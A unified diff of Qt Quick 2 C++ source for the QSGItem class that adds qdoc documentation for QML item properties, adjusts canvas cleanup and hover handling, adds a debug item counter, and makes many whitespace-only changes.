@@ -965,16 +1842,13 @@ void QSGItem::setParentItem(QSGItem *parentItem)
QSGCanvas *parentCanvas = parentItem?QSGItemPrivate::get(parentItem)->canvas:0;
if (d->canvas != parentCanvas) {
- if (d->canvas && d->itemNodeInstance)
- QSGCanvasPrivate::get(d->canvas)->cleanup(d->itemNodeInstance);
-
QSGItemPrivate::InitializationState initState;
initState.clear();
d->initCanvas(&initState, parentCanvas);
}
d->dirty(QSGItemPrivate::ParentChanged);
-
+
if (d->parentItem)
QSGItemPrivate::get(d->parentItem)->addChild(this);
@@ -991,7 +1865,7 @@ void QSGItem::setParentItem(QSGItem *parentItem)
QSGItemPrivate::get(scopeFocusedItem)->focus = false;
emit scopeFocusedItem->focusChanged(false);
} else {
- QSGCanvasPrivate::get(d->canvas)->setFocusInScope(scopeItem, scopeFocusedItem,
+ QSGCanvasPrivate::get(d->canvas)->setFocusInScope(scopeItem, scopeFocusedItem,
QSGCanvasPrivate::DontChangeFocusProperty);
}
}
@@ -1015,7 +1889,7 @@ void QSGItem::stackBefore(const QSGItem *sibling)
int myIndex = parentPrivate->childItems.indexOf(this);
int siblingIndex = parentPrivate->childItems.indexOf(const_cast<QSGItem *>(sibling));
-
+
Q_ASSERT(myIndex != -1 && siblingIndex != -1);
if (myIndex == siblingIndex - 1)
@@ -1029,7 +1903,7 @@ void QSGItem::stackBefore(const QSGItem *sibling)
parentPrivate->dirty(QSGItemPrivate::ChildrenStackingChanged);
- for (int ii = qMin(siblingIndex, myIndex); ii < parentPrivate->childItems.count(); ++ii)
+ for (int ii = qMin(siblingIndex, myIndex); ii < parentPrivate->childItems.count(); ++ii)
QSGItemPrivate::get(parentPrivate->childItems.at(ii))->siblingOrderChanged();
}
@@ -1045,7 +1919,7 @@ void QSGItem::stackAfter(const QSGItem *sibling)
int myIndex = parentPrivate->childItems.indexOf(this);
int siblingIndex = parentPrivate->childItems.indexOf(const_cast<QSGItem *>(sibling));
-
+
Q_ASSERT(myIndex != -1 && siblingIndex != -1);
if (myIndex == siblingIndex + 1)
@@ -1059,7 +1933,7 @@ void QSGItem::stackAfter(const QSGItem *sibling)
parentPrivate->dirty(QSGItemPrivate::ChildrenStackingChanged);
- for (int ii = qMin(myIndex, siblingIndex + 1); ii < parentPrivate->childItems.count(); ++ii)
+ for (int ii = qMin(myIndex, siblingIndex + 1); ii < parentPrivate->childItems.count(); ++ii)
QSGItemPrivate::get(parentPrivate->childItems.at(ii))->siblingOrderChanged();
}
@@ -1077,8 +1951,8 @@ QSGEngine *QSGItem::sceneGraphEngine() const
return canvas()->sceneGraphEngine();
}
-QSGCanvas *QSGItem::canvas() const
-{
+QSGCanvas *QSGItem::canvas() const
+{
Q_D(const QSGItem);
return d->canvas;
}
@@ -1128,13 +2002,13 @@ void QSGItemPrivate::removeChild(QSGItem *child)
emit q->childrenChanged();
}
-void QSGItemPrivate::InitializationState::clear()
-{
- focusScope = 0;
+void QSGItemPrivate::InitializationState::clear()
+{
+ focusScope = 0;
}
-void QSGItemPrivate::InitializationState::clear(QSGItem *fs)
-{
+void QSGItemPrivate::InitializationState::clear(QSGItem *fs)
+{
focusScope = fs;
}
@@ -1160,14 +2034,17 @@ void QSGItemPrivate::initCanvas(InitializationState *state, QSGCanvas *c)
c->itemsToPolish.remove(q);
if (c->mouseGrabberItem == q)
c->mouseGrabberItem = 0;
+ if ( hoverEnabled )
+ c->hoverItems.removeAll(q);
+ if (itemNodeInstance)
+ c->cleanup(itemNodeInstance);
}
canvas = c;
- if (canvas && polishScheduled)
+ if (canvas && polishScheduled)
QSGCanvasPrivate::get(canvas)->itemsToPolish.insert(q);
- // XXX todo - why aren't these added to the destroy list?
itemNodeInstance = 0;
opacityNode = 0;
clipNode = 0;
@@ -1248,6 +2125,55 @@ void QSGItemPrivate::itemToParentTransform(QTransform &t) const
}
}
+
+/*!
+ \qmlproperty real QtQuick2::Item::childrenRect.x
+ \qmlproperty real QtQuick2::Item::childrenRect.y
+ \qmlproperty real QtQuick2::Item::childrenRect.width
+ \qmlproperty real QtQuick2::Item::childrenRect.height
+
+ The childrenRect properties allow an item access to the geometry of its
+ children. This property is useful if you have an item that needs to be
+ sized to fit its children.
+*/
+
+
+/*!
+ \qmlproperty list<Item> QtQuick2::Item::children
+ \qmlproperty list<Object> QtQuick2::Item::resources
+
+ The children property contains the list of visual children of this item.
+ The resources property contains non-visual resources that you want to
+ reference by name.
+
+ Generally you can rely on Item's default property to handle all this for
+ you, but it can come in handy in some cases.
+
+ \qml
+ Item {
+ children: [
+ Text {},
+ Rectangle {}
+ ]
+ resources: [
+ Component {
+ id: myComponent
+ Text {}
+ }
+ ]
+ }
+ \endqml
+*/
+
+/*!
+ Returns true if construction of the QML component is complete; otherwise
+ returns false.
+
+ It is often desirable to delay some processing until the component is
+ completed.
+
+ \sa componentComplete()
+*/
bool QSGItem::isComponentComplete() const
{
Q_D(const QSGItem);
@@ -1255,11 +2181,11 @@ bool QSGItem::isComponentComplete() const
}
QSGItemPrivate::QSGItemPrivate()
-: _anchors(0), _contents(0), baselineOffset(0), _anchorLines(0), _stateGroup(0), origin(QSGItem::Center),
-
- flags(0), widthValid(false), heightValid(false), componentComplete(true),
+: _anchors(0), _contents(0), baselineOffset(0), _anchorLines(0), _stateGroup(0), origin(QSGItem::Center),
+
+ flags(0), widthValid(false), heightValid(false), componentComplete(true),
keepMouse(false), hoverEnabled(false), smooth(false), focus(false), activeFocus(false), notifiedFocus(false),
- notifiedActiveFocus(false), filtersChildMouseEvents(false), explicitVisible(true),
+ notifiedActiveFocus(false), filtersChildMouseEvents(false), explicitVisible(true),
effectiveVisible(true), explicitEnable(true), effectiveEnable(true), polishScheduled(false),
inheritedLayoutMirror(false), effectiveLayoutMirror(false), isMirrorImplicit(true),
inheritMirrorFromParent(false), inheritMirrorFromItem(false), childrenDoNotOverlap(false),
@@ -1268,12 +2194,12 @@ QSGItemPrivate::QSGItemPrivate()
subFocusItem(0),
- x(0), y(0), width(0), height(0), implicitWidth(0), implicitHeight(0),
+ x(0), y(0), width(0), height(0), implicitWidth(0), implicitHeight(0),
z(0), scale(1), rotation(0), opacity(1),
attachedLayoutDirection(0), acceptedMouseButtons(0),
imHints(Qt::ImhNone),
-
+
keyHandler(0),
dirtyAttributes(0), nextDirtyItem(0), prevDirtyItem(0),
@@ -1285,6 +2211,15 @@ QSGItemPrivate::QSGItemPrivate()
void QSGItemPrivate::init(QSGItem *parent)
{
+#ifndef QT_NO_DEBUG
+ ++qt_item_count;
+ static bool atexit_registered = false;
+ if (!atexit_registered) {
+ atexit(qt_print_item_count);
+ atexit_registered = true;
+ }
+#endif
+
Q_Q(QSGItem);
baselineOffset.invalidate();
@@ -1305,7 +2240,7 @@ void QSGItemPrivate::data_append(QDeclarativeListProperty<QObject> *prop, QObjec
// This test is measurably (albeit only slightly) faster than qobject_cast<>()
const QMetaObject *mo = o->metaObject();
while (mo && mo != &QSGItem::staticMetaObject) {
- if (mo == &QGraphicsObject::staticMetaObject)
+ if (mo == &QGraphicsObject::staticMetaObject)
qWarning("Cannot add a QtQuick 1.0 item (%s) into a QtQuick 2.0 scene!", o->metaObject()->className());
mo = mo->d.superdata;
}
@@ -1319,6 +2254,40 @@ void QSGItemPrivate::data_append(QDeclarativeListProperty<QObject> *prop, QObjec
}
}
+/*!
+ \qmlproperty list<Object> QtQuick2::Item::data
+ \default
+
+ The data property allows you to freely mix visual children and resources
+ in an item. If you assign a visual item to the data list it becomes
+ a child and if you assign any other object type, it is added as a resource.
+
+ So you can write:
+ \qml
+ Item {
+ Text {}
+ Rectangle {}
+ Timer {}
+ }
+ \endqml
+
+ instead of:
+ \qml
+ Item {
+ children: [
+ Text {},
+ Rectangle {}
+ ]
+ resources: [
+ Timer {}
+ ]
+ }
+ \endqml
+
+ data is a behind-the-scenes property: you should never need to explicitly
+ specify it.
+ */
+
int QSGItemPrivate::data_count(QDeclarativeListProperty<QObject> *prop)
{
Q_UNUSED(prop);
@@ -1483,6 +2452,227 @@ void QSGItemPrivate::transform_clear(QDeclarativeListProperty<QSGTransform> *pro
p->dirty(QSGItemPrivate::Transform);
}
+/*!
+ \property QSGItem::childrenRect
+ \brief The geometry of an item's children.
+
+ This property holds the (collective) position and size of the item's children.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Item::x
+ \qmlproperty real QtQuick2::Item::y
+ \qmlproperty real QtQuick2::Item::width
+ \qmlproperty real QtQuick2::Item::height
+
+ Defines the item's position and size relative to its parent.
+
+ \qml
+ Item { x: 100; y: 100; width: 100; height: 100 }
+ \endqml
+ */
+
+/*!
+ \qmlproperty real QtQuick2::Item::z
+
+ Sets the stacking order of sibling items. By default the stacking order is 0.
+
+ Items with a higher stacking value are drawn on top of siblings with a
+ lower stacking order. Items with the same stacking value are drawn
+ bottom up in the order they appear. Items with a negative stacking
+ value are drawn under their parent's content.
+
+ The following example shows the various effects of stacking order.
+
+ \table
+ \row
+ \o \image declarative-item_stacking1.png
+ \o Same \c z - later children above earlier children:
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_stacking2.png
+ \o Higher \c z on top:
+ \qml
+ Item {
+ Rectangle {
+ z: 1
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_stacking3.png
+ \o Same \c z - children above parents:
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_stacking4.png
+ \o Lower \c z below:
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ z: -1
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \endtable
+ */
+
+/*!
+ \qmlproperty bool QtQuick2::Item::visible
+
+ This property holds whether the item is visible. By default this is true.
+
+ Setting this property directly affects the \c visible value of child
+ items. When set to \c false, the \c visible values of all child items also
+ become \c false. When set to \c true, the \c visible values of child items
+ are returned to \c true, unless they have explicitly been set to \c false.
+
+ (Because of this flow-on behavior, using the \c visible property may not
+ have the intended effect if a property binding should only respond to
+ explicit property changes. In such cases it may be better to use the
+ \l opacity property instead.)
+
+ Setting this property to \c false automatically causes \l focus to be set
+ to \c false, and this item will longer receive mouse and keyboard events.
+ (In contrast, setting the \l opacity to 0 does not affect the \l focus
+ property and the receiving of key events.)
+
+ \note This property's value is only affected by changes to this property or
+ the parent's \c visible property. It does not change, for example, if this
+ item moves off-screen, or if the \l opacity changes to 0.
+*/
+
+
+/*!
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.top
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.bottom
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.left
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.right
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.horizontalCenter
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.verticalCenter
+ \qmlproperty AnchorLine QtQuick2::Item::anchors.baseline
+
+ \qmlproperty Item QtQuick2::Item::anchors.fill
+ \qmlproperty Item QtQuick2::Item::anchors.centerIn
+
+ \qmlproperty real QtQuick2::Item::anchors.margins
+ \qmlproperty real QtQuick2::Item::anchors.topMargin
+ \qmlproperty real QtQuick2::Item::anchors.bottomMargin
+ \qmlproperty real QtQuick2::Item::anchors.leftMargin
+ \qmlproperty real QtQuick2::Item::anchors.rightMargin
+ \qmlproperty real QtQuick2::Item::anchors.horizontalCenterOffset
+ \qmlproperty real QtQuick2::Item::anchors.verticalCenterOffset
+ \qmlproperty real QtQuick2::Item::anchors.baselineOffset
+
+ \qmlproperty bool QtQuick2::Item::anchors.mirrored
+
+ Anchors provide a way to position an item by specifying its
+ relationship with other items.
+
+ Margins apply to top, bottom, left, right, and fill anchors.
+ The \c anchors.margins property can be used to set all of the various margins at once, to the same value.
+ Note that margins are anchor-specific and are not applied if an item does not
+ use anchors.
+
+ Offsets apply for horizontal center, vertical center, and baseline anchors.
+
+ \table
+ \row
+ \o \image declarative-anchors_example.png
+ \o Text anchored to Image, horizontally centered and vertically below, with a margin.
+ \qml
+ Item {
+ Image {
+ id: pic
+ // ...
+ }
+ Text {
+ id: label
+ anchors.horizontalCenter: pic.horizontalCenter
+ anchors.top: pic.bottom
+ anchors.topMargin: 5
+ // ...
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-anchors_example2.png
+ \o
+ Left of Text anchored to right of Image, with a margin. The y
+ property of both defaults to 0.
+
+ \qml
+ Item {
+ Image {
+ id: pic
+ // ...
+ }
+ Text {
+ id: label
+ anchors.left: pic.right
+ anchors.leftMargin: 5
+ // ...
+ }
+ }
+ \endqml
+ \endtable
+
+ \c anchors.fill provides a convenient way for one item to have the
+ same geometry as another item, and is equivalent to connecting all
+ four directional anchors.
+
+ To clear an anchor value, set it to \c undefined.
+
+ \c anchors.mirrored returns true it the layout has been \l {LayoutMirroring}{mirrored}.
+
+ \note You can only anchor an item to siblings or a parent.
+
+ For more information see \l {anchor-layout}{Anchor Layouts}.
+*/
+
+/*!
+ \property QSGItem::baselineOffset
+ \brief The position of the item's baseline in local coordinates.
+
+ The baseline of a \l Text item is the imaginary line on which the text
+ sits. Controls containing text usually set their baseline to the
+ baseline of their text.
+
+ For non-text items, a default baseline offset of 0 is used.
+*/
QSGAnchors *QSGItemPrivate::anchors() const
{
if (!_anchors) {
@@ -1494,7 +2684,7 @@ QSGAnchors *QSGItemPrivate::anchors() const
return _anchors;
}
-QSGItemPrivate::AnchorLines *QSGItemPrivate::anchorLines() const
+QSGItemPrivate::AnchorLines *QSGItemPrivate::anchorLines() const
{
Q_Q(const QSGItem);
if (!_anchorLines) _anchorLines =
@@ -1553,6 +2743,12 @@ void QSGItem::setClip(bool c)
emit clipChanged(c);
}
+
+/*!
+ This function is called to handle this item's changes in
+ geometry from \a oldGeometry to \a newGeometry. If the two
+ geometries are the same, it doesn't do anything.
+ */
void QSGItem::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry)
{
Q_D(QSGItem);
@@ -1708,6 +2904,13 @@ bool QSGItem::childMouseEventFilter(QSGItem *, QEvent *)
return false;
}
+void QSGItem::windowDeactivateEvent()
+{
+ foreach (QSGItem* item, childItems()) {
+ item->windowDeactivateEvent();
+ }
+}
+
Qt::InputMethodHints QSGItem::inputMethodHints() const
{
Q_D(const QSGItem);
@@ -1866,7 +3069,7 @@ QTransform QSGItem::itemTransform(QSGItem *other, bool *ok) const
{
Q_D(const QSGItem);
- // XXX todo - we need to be able to handle common parents better and detect
+ // XXX todo - we need to be able to handle common parents better and detect
// invalid cases
if (ok) *ok = true;
@@ -1912,7 +3115,7 @@ void QSGItem::forceActiveFocus()
while (parent) {
if (parent->flags() & QSGItem::ItemIsFocusScope) {
parent->setFocus(true);
- }
+ }
parent = parent->parentItem();
}
}
@@ -1942,11 +3145,11 @@ QDeclarativeListProperty<QObject> QSGItemPrivate::resources()
QDeclarativeListProperty<QSGItem> QSGItemPrivate::children()
{
- return QDeclarativeListProperty<QSGItem>(q_func(), 0, QSGItemPrivate::children_append,
+ return QDeclarativeListProperty<QSGItem>(q_func(), 0, QSGItemPrivate::children_append,
QSGItemPrivate::children_count,
QSGItemPrivate::children_at,
QSGItemPrivate::children_clear);
-
+
}
QDeclarativeListProperty<QDeclarativeState> QSGItemPrivate::states()
@@ -2069,7 +3272,7 @@ void QSGItemPrivate::transformChanged()
void QSGItemPrivate::deliverKeyEvent(QKeyEvent *e)
{
Q_Q(QSGItem);
-
+
Q_ASSERT(e->isAccepted());
if (keyHandler) {
if (e->type() == QEvent::KeyPress)
@@ -2237,7 +3440,7 @@ QSGItem::TransformOrigin QSGItem::transformOrigin() const
void QSGItem::setTransformOrigin(TransformOrigin origin)
{
Q_D(QSGItem);
- if (origin == d->origin)
+ if (origin == d->origin)
return;
d->origin = origin;
@@ -2267,19 +3470,146 @@ void QSGItem::setZ(qreal v)
d->z = v;
d->dirty(QSGItemPrivate::ZValue);
- if (d->parentItem)
+ if (d->parentItem)
QSGItemPrivate::get(d->parentItem)->dirty(QSGItemPrivate::ChildrenStackingChanged);
emit zChanged();
}
-qreal QSGItem::rotation() const
-{
+
+/*!
+ \qmlproperty real QtQuick2::Item::rotation
+ This property holds the rotation of the item in degrees clockwise.
+
+ This specifies how many degrees to rotate the item around its transformOrigin.
+ The default rotation is 0 degrees (i.e. not rotated at all).
+
+ \table
+ \row
+ \o \image declarative-rotation.png
+ \o
+ \qml
+ Rectangle {
+ color: "blue"
+ width: 100; height: 100
+ Rectangle {
+ color: "red"
+ x: 25; y: 25; width: 50; height: 50
+ rotation: 30
+ }
+ }
+ \endqml
+ \endtable
+
+ \sa transform, Rotation
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Item::scale
+ This property holds the scale of the item.
+
+ A scale of less than 1 means the item will be displayed smaller than
+ normal, and a scale of greater than 1 means the item will be
+ displayed larger than normal. A negative scale means the item will
+ be mirrored.
+
+ By default, items are displayed at a scale of 1 (i.e. at their
+ normal size).
+
+ Scaling is from the item's transformOrigin.
+
+ \table
+ \row
+ \o \image declarative-scale.png
+ \o
+ \qml
+ Rectangle {
+ color: "blue"
+ width: 100; height: 100
+ Rectangle {
+ color: "green"
+ width: 25; height: 25
+ }
+ Rectangle {
+ color: "red"
+ x: 25; y: 25; width: 50; height: 50
+ scale: 1.4
+ }
+ }
+ \endqml
+ \endtable
+
+ \sa transform, Scale
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Item::opacity
+
+ This property holds the opacity of the item. Opacity is specified as a
+ number between 0 (fully transparent) and 1 (fully opaque). The default is 1.
+
+ When this property is set, the specified opacity is also applied
+ individually to child items. In almost all cases this is what you want,
+ but in some cases it may produce undesired results. For example in the
+ second set of rectangles below, the red rectangle has specified an opacity
+ of 0.5, which affects the opacity of its blue child rectangle even though
+ the child has not specified an opacity.
+
+ \table
+ \row
+ \o \image declarative-item_opacity1.png
+ \o
+ \qml
+ Item {
+ Rectangle {
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-item_opacity2.png
+ \o
+ \qml
+ Item {
+ Rectangle {
+ opacity: 0.5
+ color: "red"
+ width: 100; height: 100
+ Rectangle {
+ color: "blue"
+ x: 50; y: 50; width: 100; height: 100
+ }
+ }
+ }
+ \endqml
+ \endtable
+
+ If an item's opacity is set to 0, the item will no longer receive mouse
+ events, but will continue to receive key events and will retain the keyboard
+ \l focus if it has been set. (In contrast, setting the \l visible property
+ to \c false stops both mouse and keyboard events, and also removes focus
+ from the item.)
+*/
+
+/*!
+ Returns a value indicating whether mouse input should
+ remain with this item exclusively.
+
+ \sa setKeepMouseGrab()
+ */
+
+qreal QSGItem::rotation() const
+{
Q_D(const QSGItem);
return d->rotation;
}
-void QSGItem::setRotation(qreal r)
+void QSGItem::setRotation(qreal r)
{
Q_D(QSGItem);
if (d->rotation == r)
@@ -2294,13 +3624,13 @@ void QSGItem::setRotation(qreal r)
emit rotationChanged();
}
-qreal QSGItem::scale() const
-{
+qreal QSGItem::scale() const
+{
Q_D(const QSGItem);
return d->scale;
}
-void QSGItem::setScale(qreal s)
+void QSGItem::setScale(qreal s)
{
Q_D(QSGItem);
if (d->scale == s)
@@ -2326,7 +3656,7 @@ void QSGItem::setOpacity(qreal o)
return;
d->opacity = o;
-
+
d->dirty(QSGItemPrivate::OpacityValue);
d->itemChange(ItemOpacityHasChanged, o);
@@ -2400,7 +3730,7 @@ void QSGItemPrivate::setEffectiveVisibleRecur(bool newEffectiveVisible)
q->ungrabMouse();
}
- for (int ii = 0; ii < childItems.count(); ++ii)
+ for (int ii = 0; ii < childItems.count(); ++ii)
QSGItemPrivate::get(childItems.at(ii))->setEffectiveVisibleRecur(newEffectiveVisible);
for(int ii = 0; ii < changeListeners.count(); ++ii) {
@@ -2444,7 +3774,7 @@ void QSGItemPrivate::setEffectiveEnableRecur(bool newEffectiveEnable)
q->ungrabMouse();
}
- for (int ii = 0; ii < childItems.count(); ++ii)
+ for (int ii = 0; ii < childItems.count(); ++ii)
QSGItemPrivate::get(childItems.at(ii))->setEffectiveEnableRecur(newEffectiveEnable);
emit q->enabledChanged();
@@ -2625,12 +3955,37 @@ void QSGItemPrivate::itemChange(QSGItem::ItemChange change, const QSGItem::ItemC
}
}
+/*!
+ \property QSGItem::smooth
+ \brief whether the item is smoothly transformed.
+
+ This property is provided purely for the purpose of optimization. Turning
+ smooth transforms off is faster, but looks worse; turning smooth
+ transformations on is slower, but looks better.
+
+ By default smooth transformations are off.
+*/
+
+/*!
+ Returns true if the item should be drawn with antialiasing and
+ smooth pixmap filtering, false otherwise.
+
+ The default is false.
+
+ \sa setSmooth()
+*/
bool QSGItem::smooth() const
{
Q_D(const QSGItem);
return d->smooth;
}
+/*!
+ Sets whether the item should be drawn with antialiasing and
+ smooth pixmap filtering to \a smooth.
+
+ \sa smooth()
+*/
void QSGItem::setSmooth(bool smooth)
{
Q_D(QSGItem);
@@ -2643,14 +3998,14 @@ void QSGItem::setSmooth(bool smooth)
emit smoothChanged(smooth);
}
-QSGItem::Flags QSGItem::flags() const
-{
+QSGItem::Flags QSGItem::flags() const
+{
Q_D(const QSGItem);
return (QSGItem::Flags)d->flags;
}
void QSGItem::setFlag(Flag flag, bool enabled)
-{
+{
Q_D(QSGItem);
if (enabled)
setFlags((Flags)(d->flags | (quint32)flag));
@@ -2658,8 +4013,8 @@ void QSGItem::setFlag(Flag flag, bool enabled)
setFlags((Flags)(d->flags & ~(quint32)flag));
}
-void QSGItem::setFlags(Flags flags)
-{
+void QSGItem::setFlags(Flags flags)
+{
Q_D(QSGItem);
if ((flags & ItemIsFocusScope) != (d->flags & ItemIsFocusScope)) {
@@ -2669,10 +4024,10 @@ void QSGItem::setFlags(Flags flags)
} else if (d->flags & ItemIsFocusScope) {
qWarning("QSGItem: Cannot unset FocusScope flag.");
flags |= ItemIsFocusScope;
- }
+ }
}
- if ((flags & ItemClipsChildrenToShape ) != (d->flags & ItemClipsChildrenToShape))
+ if ((flags & ItemClipsChildrenToShape ) != (d->flags & ItemClipsChildrenToShape))
d->dirty(QSGItemPrivate::Clip);
d->flags = flags;
@@ -2786,13 +4141,54 @@ qreal QSGItemPrivate::getImplicitWidth() const
{
return implicitWidth;
}
-
+/*!
+ Returns the width of the item that is implied by other properties that determine the content.
+*/
qreal QSGItem::implicitWidth() const
{
Q_D(const QSGItem);
return d->getImplicitWidth();
}
+/*!
+ \qmlproperty real QtQuick2::Item::implicitWidth
+ \qmlproperty real QtQuick2::Item::implicitHeight
+
+ Defines the natural width or height of the Item if no \l width or \l height is specified.
+
+ The default implicit size for most items is 0x0, however some elements have an inherent
+ implicit size which cannot be overridden, e.g. Image, Text.
+
+ Setting the implicit size is useful for defining components that have a preferred size
+ based on their content, for example:
+
+ \qml
+ // Label.qml
+ import QtQuick 1.1
+
+ Item {
+ property alias icon: image.source
+ property alias label: text.text
+ implicitWidth: text.implicitWidth + image.implicitWidth
+ implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
+ Image { id: image }
+ Text {
+ id: text
+ wrapMode: Text.Wrap
+ anchors.left: image.right; anchors.right: parent.right
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ }
+ \endqml
+
+ \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
+ incurs a performance penalty as the text must be laid out twice.
+*/
+
+/*!
+ Sets the implied width of the item to \a w.
+ This is the width implied by other properties that determine the content.
+*/
void QSGItem::setImplicitWidth(qreal w)
{
Q_D(QSGItem);
@@ -2802,11 +4198,11 @@ void QSGItem::setImplicitWidth(qreal w)
if (changed)
d->implicitWidthChanged();
return;
- }
+ }
qreal oldWidth = d->width;
d->width = w;
-
+
d->dirty(QSGItemPrivate::Size);
geometryChanged(QRectF(x(), y(), width(), height()),
@@ -2816,6 +4212,9 @@ void QSGItem::setImplicitWidth(qreal w)
d->implicitWidthChanged();
}
+/*!
+ Returns whether the width property has been set explicitly.
+*/
bool QSGItem::widthValid() const
{
Q_D(const QSGItem);
@@ -2865,12 +4264,20 @@ qreal QSGItemPrivate::getImplicitHeight() const
return implicitHeight;
}
+/*!
+ Returns the height of the item that is implied by other properties that determine the content.
+*/
qreal QSGItem::implicitHeight() const
{
Q_D(const QSGItem);
return d->getImplicitHeight();
}
+
+/*!
+ Sets the implied height of the item to \a h.
+ This is the height implied by other properties that determine the content.
+*/
void QSGItem::setImplicitHeight(qreal h)
{
Q_D(QSGItem);
@@ -2894,6 +4301,9 @@ void QSGItem::setImplicitHeight(qreal h)
d->implicitHeightChanged();
}
+/*!
+ Returns whether the height property has been set explicitly.
+*/
bool QSGItem::heightValid() const
{
Q_D(const QSGItem);
@@ -2963,19 +4373,19 @@ QSGItem *QSGItem::scopedFocusItem() const
Q_D(const QSGItem);
if (!isFocusScope())
return 0;
- else
+ else
return d->subFocusItem;
}
-Qt::MouseButtons QSGItem::acceptedMouseButtons() const
-{
+Qt::MouseButtons QSGItem::acceptedMouseButtons() const
+{
Q_D(const QSGItem);
return d->acceptedMouseButtons;
}
-void QSGItem::setAcceptedMouseButtons(Qt::MouseButtons buttons)
-{
+void QSGItem::setAcceptedMouseButtons(Qt::MouseButtons buttons)
+{
Q_D(QSGItem);
d->acceptedMouseButtons = buttons;
}
@@ -2986,13 +4396,13 @@ bool QSGItem::filtersChildMouseEvents() const
return d->filtersChildMouseEvents;
}
-void QSGItem::setFiltersChildMouseEvents(bool filter)
-{
+void QSGItem::setFiltersChildMouseEvents(bool filter)
+{
Q_D(QSGItem);
d->filtersChildMouseEvents = filter;
}
-bool QSGItem::isUnderMouse() const
+bool QSGItem::isUnderMouse() const
{
Q_D(const QSGItem);
if (!d->canvas)
@@ -3001,17 +4411,17 @@ bool QSGItem::isUnderMouse() const
QPoint cursorPos = QCursor::pos();
if (QRectF(0, 0, width(), height()).contains(mapFromScene(cursorPos))) // ### refactor: d->canvas->mapFromGlobal(cursorPos))))
return true;
- return false;
+ return false;
}
-bool QSGItem::acceptHoverEvents() const
-{
+bool QSGItem::acceptHoverEvents() const
+{
Q_D(const QSGItem);
return d->hoverEnabled;
}
-void QSGItem::setAcceptHoverEvents(bool enabled)
-{
+void QSGItem::setAcceptHoverEvents(bool enabled)
+{
Q_D(QSGItem);
d->hoverEnabled = enabled;
}
@@ -3031,7 +4441,7 @@ void QSGItem::grabMouse()
oldGrabber->mouseUngrabEvent();
}
-void QSGItem::ungrabMouse()
+void QSGItem::ungrabMouse()
{
Q_D(QSGItem);
if (!d->canvas)
@@ -3052,22 +4462,60 @@ bool QSGItem::keepMouseGrab() const
return d->keepMouse;
}
+/*!
+ The flag indicating whether the mouse should remain
+ with this item is set to \a keep.
+
+ This is useful for items that wish to grab and keep mouse
+ interaction following a predefined gesture. For example,
+ an item that is interested in horizontal mouse movement
+ may set keepMouseGrab to true once a threshold has been
+ exceeded. Once keepMouseGrab has been set to true, filtering
+ items will not react to mouse events.
+
+ If the item does not indicate that it wishes to retain mouse grab,
+ a filtering item may steal the grab. For example, Flickable may attempt
+ to steal a mouse grab if it detects that the user has begun to
+ move the viewport.
+
+ \sa keepMouseGrab()
+ */
void QSGItem::setKeepMouseGrab(bool keep)
{
Q_D(QSGItem);
d->keepMouse = keep;
}
-QPointF QSGItem::mapToItem(const QSGItem *item, const QPointF &point) const
-{
+/*!
+ \qmlmethod object QtQuick2::Item::mapFromItem(Item item, real x, real y)
+
+ Maps the point (\a x, \a y), which is in \a item's coordinate system, to
+ this item's coordinate system, and returns an object with \c x and \c y
+ properties matching the mapped cooordinate.
+
+ If \a item is a \c null value, this maps the point from the coordinate
+ system of the root QML view.
+*/
+/*!
+ \qmlmethod object QtQuick2::Item::mapToItem(Item item, real x, real y)
+
+ Maps the point (\a x, \a y), which is in this item's coordinate system, to
+ \a item's coordinate system, and returns an object with \c x and \c y
+ properties matching the mapped cooordinate.
+
+ If \a item is a \c null value, this maps \a x and \a y to the coordinate
+ system of the root QML view.
+*/
+QPointF QSGItem::mapToItem(const QSGItem *item, const QPointF &point) const
+{
QPointF p = mapToScene(point);
if (item)
p = item->mapFromScene(p);
return p;
}
-QPointF QSGItem::mapToScene(const QPointF &point) const
-{
+QPointF QSGItem::mapToScene(const QPointF &point) const
+{
Q_D(const QSGItem);
return d->itemToCanvasTransform().map(point);
}
@@ -3081,26 +4529,26 @@ QRectF QSGItem::mapRectToItem(const QSGItem *item, const QRectF &rect) const
return t.mapRect(rect);
}
-QRectF QSGItem::mapRectToScene(const QRectF &rect) const
-{
+QRectF QSGItem::mapRectToScene(const QRectF &rect) const
+{
Q_D(const QSGItem);
return d->itemToCanvasTransform().mapRect(rect);
}
-QPointF QSGItem::mapFromItem(const QSGItem *item, const QPointF &point) const
-{
+QPointF QSGItem::mapFromItem(const QSGItem *item, const QPointF &point) const
+{
QPointF p = item?item->mapToScene(point):point;
return mapFromScene(p);
}
-QPointF QSGItem::mapFromScene(const QPointF &point) const
-{
+QPointF QSGItem::mapFromScene(const QPointF &point) const
+{
Q_D(const QSGItem);
return d->canvasToItemTransform().map(point);
}
-QRectF QSGItem::mapRectFromItem(const QSGItem *item, const QRectF &rect) const
-{
+QRectF QSGItem::mapRectFromItem(const QSGItem *item, const QRectF &rect) const
+{
Q_D(const QSGItem);
